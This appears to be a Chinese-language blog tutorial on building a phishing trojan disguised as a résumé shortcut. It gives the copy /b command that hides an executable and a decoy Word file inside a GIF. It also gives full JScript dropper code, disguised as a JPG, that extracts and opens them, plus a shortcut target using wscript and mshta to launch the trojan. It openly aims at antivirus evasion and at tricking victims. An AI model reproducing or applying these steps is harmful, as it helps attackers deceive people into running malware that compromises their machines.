寫一個新型的lnk木馬來釣魚

lnk 檔案是用於指向其他檔案的一種快捷方式,方便使用者快速的呼叫。用快捷方式的木馬來釣魚的優勢是,可以寫入免殺的shell程式碼,雙擊即可執行,而且還可以修改圖示後,能更好地誘騙客戶執行!

我在freebuf和市面上看到基本所有制做的惡意lnk檔案,普遍是用到了powershell來下載執行shellcode,這種方式不是不可以,但是缺點一是存在了下載執行,有可能繞不過waf;二是對shellcode和powershell的免殺也存在了一定的困難。所以我們來重新改造一個輪子,思路就是讓木馬在本地執行,讓木馬和lnk檔案放在一起。

先來看一下成果圖:

寫一個新型的lnk木馬來釣魚

(圖1)

這裡只要雙擊一下(圖1)中我的簡歷,就會開啟一份正常的word文件,同時我們的木馬就會執行了。圖1中的pic。gif開啟也是一張正常的圖片,jl。jpg存放了我們的程式碼。我是用的計算器做的測試,效果如下圖2:

寫一個新型的lnk木馬來釣魚

(圖2)

這個惡意的lnk檔案製做方法如下:

一、把一張圖片、你的木馬.exe、簡歷.doc合併成圖1中的pic.gif

copy /b 1.gif +muma.exe +簡歷.doc pic.gif

寫一個新型的lnk木馬來釣魚

(圖3)

二、來編寫我們的程式碼,這個程式碼存在於(圖1)中的jl.jpg。

程式碼我是用js來寫的,這樣不會因為用powershell語言來寫漏掉一些windows xp和win7老使用者。程式碼和詳細註釋如下:

var stmp;var fso = new ActiveXObject(“Scripting。FileSystemObject”);var app=new ActiveXObject(“Shell。Application”); var fpexe=app。Namespace(0x5)。Self。Path+“\\s。exe”;//存放你的木馬,我是存在了當前使用者的文件下,名字為s。exe,可以改名。var fpdoc=app。Namespace(0x5)。Self。Path+“\\snew_。doc”;//存放你的簡歷,名字為snew_。doc,可以改名var fpjs=app。Namespace(0x5)。Self。Path+“\\snews_。jpg”;//以前老版本殘留,不需要了。var picgif=fso。GetFolder(“。”)。Path+“\\pic。gif”;//呼叫我們圖1中用dos命令合併的pic。giffunction Findfile(filespec) //判斷文 件是否存在函式{ if (fso。FileExists(filespec)) stmp = 1; else stmp = 0; return(stmp);}if (!Findfile(picgif)){ WScript。echo(“無法載入圖片”);} if (!Findfile(fpexe)) { writeBytes(picgif, 0X1339, 28672, fpexe); //在pic。gif檔案中找到exe檔案起始位置 0X1339和exe位元組數本身大小,寫入我的文件目錄。 }if (!Findfile(fpdoc)) { writeBytes(picgif,0x8339,25600,fpdoc);//在pic。gif檔案中找到doc檔案起始位置 0x8339和doc位元組數本身大小,寫入我的文件目錄。}if (!Findfile(fpjs)) //老版本殘留,不需要了{ //writeBytes(picgif,0xE739,667,fpjs);}if (Findfile(fpexe)) //注意在這裡我並沒有執行exe,執行程式碼讓我註釋掉了。我會在文章中解釋{ //var shellapp=new ActiveXObject(“Shell。Application”); //shellapp。open(fpexe); //var WshShell = new ActiveXObject(“WScript。Shell”); //WshShell。Run(“powershell ”+fpexe, 0, true);}if (Findfile(fpdoc)) //執行doc{ var shellapp=new ActiveXObject(“Shell。Application”); shellapp。open(fpdoc); }if (Findfile(fpjs)) { //var WshShell = new ActiveXObject(“WScript。Shell”); // WshShell。Run(“wscript //E:JScript ”+fpjs, 0, true); }function writeBytes(sSrcFile, iPosStart, iLen, sTargetFile){ var stream = new ActiveXObject(“ADODB。Stream”); stream。Type = 1; stream。Open(); stream。LoadFromFile(sSrcFile); stream。Position = iPosStart; var bytes = stream。Read(iLen); stream。Close(); stream。Open(); stream。Write(bytes); stream。SaveToFile(sTargetFile, 2); stream。Close();}//var del=fso。DeleteFile(WScript。ScriptFullName)

請仔細閱讀上文中的註釋。可能有人會疑惑上邊程式碼中第31行的0x1339是如何來的呢?其實exe檔案的檔案頭是4D5A,我們只要用一個16進位制編輯器開啟你合併的pic。gif就明白了,如下圖:

寫一個新型的lnk木馬來釣魚

(圖4)

三、製做我們的簡歷的lnk檔案,把圖1中三個檔案合併在一起呼叫

看一下成果圖1中的我的簡歷。doc的右鍵屬性:

寫一個新型的lnk木馬來釣魚

(圖5)

圖5中起始位改為%cd%,這樣會在當前目錄呼叫jl。jpg裡的程式碼。

圖5中的目標裡的程式碼內容是:

%comspec% /c “wscript /E:JScript jl。jpg&&mshta ”about:“”

來解釋一下:wscript /E:JScript jl。jpg把jl。jpg當成js來執行。後邊一串是用mshta執行一段本地vbs,找到文件中的s。exe去執行,就是你的木馬檔案。

當然了,如果你仔細看了我的程式碼的話,你也可以在js中直接執行木馬。那麼lnk檔案的目標改為%comspec% /c “wscript /E:JScript jl。jpg“就可以了。

如果你仔細看了我的文章,就算是小白動動手,改成自己的需要的lnk檔案是完全可以的,所以我就不去寫生成器了。